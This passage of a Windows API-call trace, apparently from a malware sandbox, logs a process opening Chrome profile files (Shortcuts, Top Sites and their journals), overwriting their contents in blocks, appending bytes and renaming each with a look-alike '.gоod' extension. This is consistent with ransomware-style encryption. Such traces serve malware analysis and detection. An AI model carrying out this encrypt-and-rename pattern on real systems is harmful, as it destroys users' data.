lpOldMode=0x1f6ea9b0) returned 1 [0177.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x349ca90 | out: lpFileInformation=0x349ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe774d6a2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000)) returned 1 [0177.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0177.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0177.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0177.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0177.486] GetFileType (hFile=0x7c8) returned 0x1 [0177.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0177.486] GetFileType (hFile=0x7c8) returned 0x1 [0177.486] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0177.486] ReadFile (in: hFile=0x7c8, lpBuffer=0x349ce98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x349ce98*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0178.029] CloseHandle (hObject=0x7c8) returned 1 [0178.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0178.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0178.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.030] GetFileType (hFile=0x7c8) returned 0x1 [0178.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0178.030] GetFileType (hFile=0x7c8) returned 0x1 [0178.030] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x5000 [0178.030] WriteFile (in: hFile=0x7c8, lpBuffer=0x365b118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x365b118*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0178.030] CloseHandle (hObject=0x7c8) returned 1 [0178.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0178.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0178.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.031] GetFileType (hFile=0x7c8) returned 0x1 [0178.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0178.031] GetFileType (hFile=0x7c8) returned 0x1 [0178.031] ReadFile (in: hFile=0x7c8, lpBuffer=0x365d3d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x365d3d0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0178.116] CloseHandle (hObject=0x7c8) returned 1 [0178.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0178.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0178.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.117] GetFileType (hFile=0x7c8) returned 0x1 [0178.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0178.117] GetFileType (hFile=0x7c8) returned 0x1 [0178.117] WriteFile (in: hFile=0x7c8, lpBuffer=0x3423360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3423360*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0178.117] CloseHandle (hObject=0x7c8) returned 1 [0178.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0178.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.gоod", lpFilePart=0x0) returned 0x4c [0178.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0178.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x665ff620, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5010)) returned 1 [0178.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0178.118] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts.gоod")) returned 1 [0178.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", lpFilePart=0x0) returned 0x4f [0178.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0178.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), fInfoLevelId=0x0, lpFileInformation=0x3442380 | out: lpFileInformation=0x3442380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe7979194, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0178.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0178.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", lpFilePart=0x0) returned 0x4f [0178.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0178.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.119] GetFileType (hFile=0x7c8) returned 0x1 [0178.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0178.119] GetFileType (hFile=0x7c8) returned 0x1 [0178.119] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0178.119] CloseHandle (hObject=0x7c8) returned 1 [0179.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", lpFilePart=0x0) returned 0x4f [0179.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0179.485] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0179.486] GetFileType (hFile=0x820) returned 0x1 [0179.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0179.486] GetFileType (hFile=0x820) returned 0x1 [0179.486] WriteFile (in: hFile=0x820, lpBuffer=0x35e8e88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x35e8e88*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0179.487] CloseHandle (hObject=0x820) returned 1 [0179.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", lpFilePart=0x0) returned 0x4f [0179.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal.gоod", lpFilePart=0x0) returned 0x54 [0179.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0179.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x67310fcb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0179.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0179.487] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal.gоod")) returned 1 [0179.489] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0179.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0179.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), fInfoLevelId=0x0, lpFileInformation=0x35ea108 | out: lpFileInformation=0x35ea108*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c6a9d7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000)) returned 1 [0179.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0179.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0179.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0179.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0179.490] GetFileType (hFile=0x820) returned 0x1 [0179.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0179.490] GetFileType (hFile=0x820) returned 0x1 [0179.490] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0179.490] ReadFile (in: hFile=0x820, lpBuffer=0x35ea510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x35ea510*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0180.952] CloseHandle (hObject=0x820) returned 1 [0180.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0180.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0180.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0180.952] GetFileType (hFile=0x820) returned 0x1 [0180.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0180.952] GetFileType (hFile=0x820) returned 0x1 [0180.952] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x5000 [0180.952] WriteFile (in: hFile=0x820, lpBuffer=0x355d900*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x355d900*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0181.168] CloseHandle (hObject=0x820) returned 1 [0181.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0181.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0181.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0181.687] GetFileType (hFile=0x7f8) returned 0x1 [0181.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0181.687] GetFileType (hFile=0x7f8) returned 0x1 [0181.687] ReadFile (in: hFile=0x7f8, lpBuffer=0x3621cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x3621cb0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0181.919] CloseHandle (hObject=0x7f8) returned 1 [0181.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0181.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0181.919] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0181.920] GetFileType (hFile=0x7f8) returned 0x1 [0181.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0181.920] GetFileType (hFile=0x7f8) returned 0x1 [0181.920] WriteFile (in: hFile=0x7f8, lpBuffer=0x3620a10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3620a10*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0181.920] CloseHandle (hObject=0x7f8) returned 1 [0181.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", lpFilePart=0x0) returned 0x47 [0181.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.gоod", lpFilePart=0x0) returned 0x4c [0181.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0181.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x68a66f22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5010)) returned 1 [0181.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0181.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites.gоod")) returned 1 [0181.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", lpFilePart=0x0) returned 0x4f [0181.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0181.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), fInfoLevelId=0x0, lpFileInformation=0x353b610 | out: lpFileInformation=0x353b610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5118b971, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5118b971, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c99054, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0182.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", lpFilePart=0x0) returned 0x4f [0182.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0182.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0182.320] GetFileType (hFile=0x7f8) returned 0x1 [0182.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0182.320] GetFileType (hFile=0x7f8) returned 0x1 [0182.320] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0182.320] CloseHandle (hObject=0x7f8) returned 1 [0182.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", lpFilePart=0x0) returned 0x4f [0182.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0182.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.389] GetFileType (hFile=0x7c8) returned 0x1 [0182.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0182.389] GetFileType (hFile=0x7c8) returned 